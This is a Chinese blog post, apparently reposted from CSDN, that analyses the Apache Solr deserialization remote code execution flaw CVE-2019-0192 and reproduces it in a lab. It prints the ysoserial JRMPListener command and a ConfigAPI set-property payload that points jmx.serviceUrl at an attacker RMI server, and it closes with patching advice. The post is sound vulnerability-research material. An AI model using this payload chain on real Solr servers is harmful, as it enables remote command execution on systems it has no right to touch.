摘要: 又一个Apache的远程代码执行漏洞

背景:

近日,Apache Solr官方团队在最新的安全更新中披露了一则Apache Solr Deserialization 远程代码执行漏洞(CVE-2019-0192)。漏洞官方定级为 High,属于高危漏洞。该漏洞本质是ConfigAPI允许通过HTTP POST请求配置Solr的JMX服务器。攻击者可以通过ConfigAPI将其配置指向恶意RMI服务器,利用Solr的不安全反序列化来触发Solr端上的远程代码执行。


漏洞描述:

Apache Solr中的ConfigAPI允许设置一个jmx.serviceUrl,它将创建一个新的JMXConnectorServerFactory,并通过“绑定”操作触发对目标RMI/LDAP服务器的调用。恶意的RMI服务器可以响应任意的对象,这些对象将在Solr端使用java的ObjectInputStream反序列化,这被认为是不安全的。这种类型的漏洞可以利用ysoserial工具。根据目标类路径,攻击者可以使用其中一个“gadget chain”来触发Solr端上的远程代码执行。


Apache Solr介绍:

Apache Solr是一个开源的搜索服务器。具有高度可靠、可伸缩和容错的,提供分布式索引、复制和负载平衡查询、自动故障转移和恢复、集中配置等功能。

Solr为世界上许多最大的互联网站点提供搜索和导航功能。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。

Apache Solr 中存储的资源是以 Document 为对象进行存储的。每个文档由一系列的 Field 构成,每个 Field 表示资源的一个属性。Solr 中的每个 Document 需要有能唯一标识其自身的属性,默认情况下这个属性的名字是 id,在 Schema 配置文件中使用:id进行描述。


漏洞分析:

首先需要了解一下configAPI,主要功能是检索或修改配置。 GET负责检索,POST负责执行命令。通过传入set-property属性,构造恶意的数据,传入指向恶意的rmi服务器的链接,覆盖之前服务器的原设置,使得目标服务器与攻击者的恶意rmi服务器相连,攻击者可以使用ysoserial工具,通过rmi服务器向远端目标服务器发送命令,并在目标服务器上执行,实现远程命令执行。


根据描述先看看ConfigAPI

(https://lucene.apache.org/solr/guide/6_6/config-api.html#ConfigAPI-CommandsforCommonProperties)

看到set-property的描述

1.png

可以看到如果已近设置了属性,此,命令将覆盖前面的设置

2.png


漏洞触发点在JmxMonitoredMap.class中的newJMXConnectorServer函数中

3.png

在文档

(https://docs.oracle.com/javase/7/docs/api/javax/management/remote/JMXConnectorServerFactory.html)中可以看到

参数部分:serviceurl用于指定新连接服务器的地址,environment是一组用于控制新连接器服务器行为的属性

返回部分:表示新连接器服务器的JMXConnectorServer。每次成功调用此方法都会生成不同的对象。

此函数可以让服务器与新的rmi服务器相连接,并且每次调用此函数都会产生一个不同的对象。所以当攻击者通过覆盖传入自己的rmi服务器地址,目标服务器就会与之相连,执行内部的命令。


指向了恶意rmi服务器之后,还需要solr的反序列化操作

在solrconfig的构造函数中可以看到

创建了 JmxConfiguration 对象赋值给 jmxConfig

跟踪 jmxConfig 参数如下

跟入红框所示位置

JmxMonitoredMap 的构造函数中就进行了 JMX 监控操作,可以触发 rmi 序列化


复现:

分别解压apache和solr

将solr解压后的文件夹拷贝到Apache的webapps目录下

进入solr的bin路径下

打开cmd切换到这儿

9.png

输入solr -e techproducts -Dcom.sun.management.jmxremote

启动solr

10.png

会提示我们开放的端口

11.png

Web端访问solr的主界面

12.png

切换到ysoserial的路径下

13.png

输入命令

java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1234 Jdk7u21 calc.exe

我们的目标路径是

15.png

切换到kali使用burp进行抓包

16.png

改包,添加content-type,content-length,以及具体的payload如下图所示

{“set-property” : {“jmx.serviceUrl” : “service:jmx:rmi:///jndi/rmi://192.168.96.132:1234/obj”}}

17.png

点击go

此时在win上弹出了计算器

18.png


修复建议:

升级到Apache Solr 7.0或更高版本。

通过使用系统属性disable.configEdit = true运行Solr,禁用ConfigAPI(如果未使用)

如果升级或禁用Config API不可行,请应用SOLR-13301.patch并重新编译Solr。

确保配置了网络设置,以便只允许受信任的流量进入/退出运行Solr的主机。


参考:

1.https://wiki.apache.org/solr/SolrSecurity

2.https://issues.apache.org/jira/browse/SOLR-13301

3.https://lucene.apache.org/solr/guide/6_6/config-api.html#ConfigAPI-CommandsforCommonProperties

4.https://xz.aliyun.com/t/4422

5.https://github.com/mpgn/CVE-2019-0192

————————————————

版权声明:本文为CSDN博主「Neil-Yale」的原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接及本声明。

原文链接:https://blog.csdn.net/yalecaltech/article/details/88829590


上一篇:Git安装和使用
下一篇:BitCracker:Bit...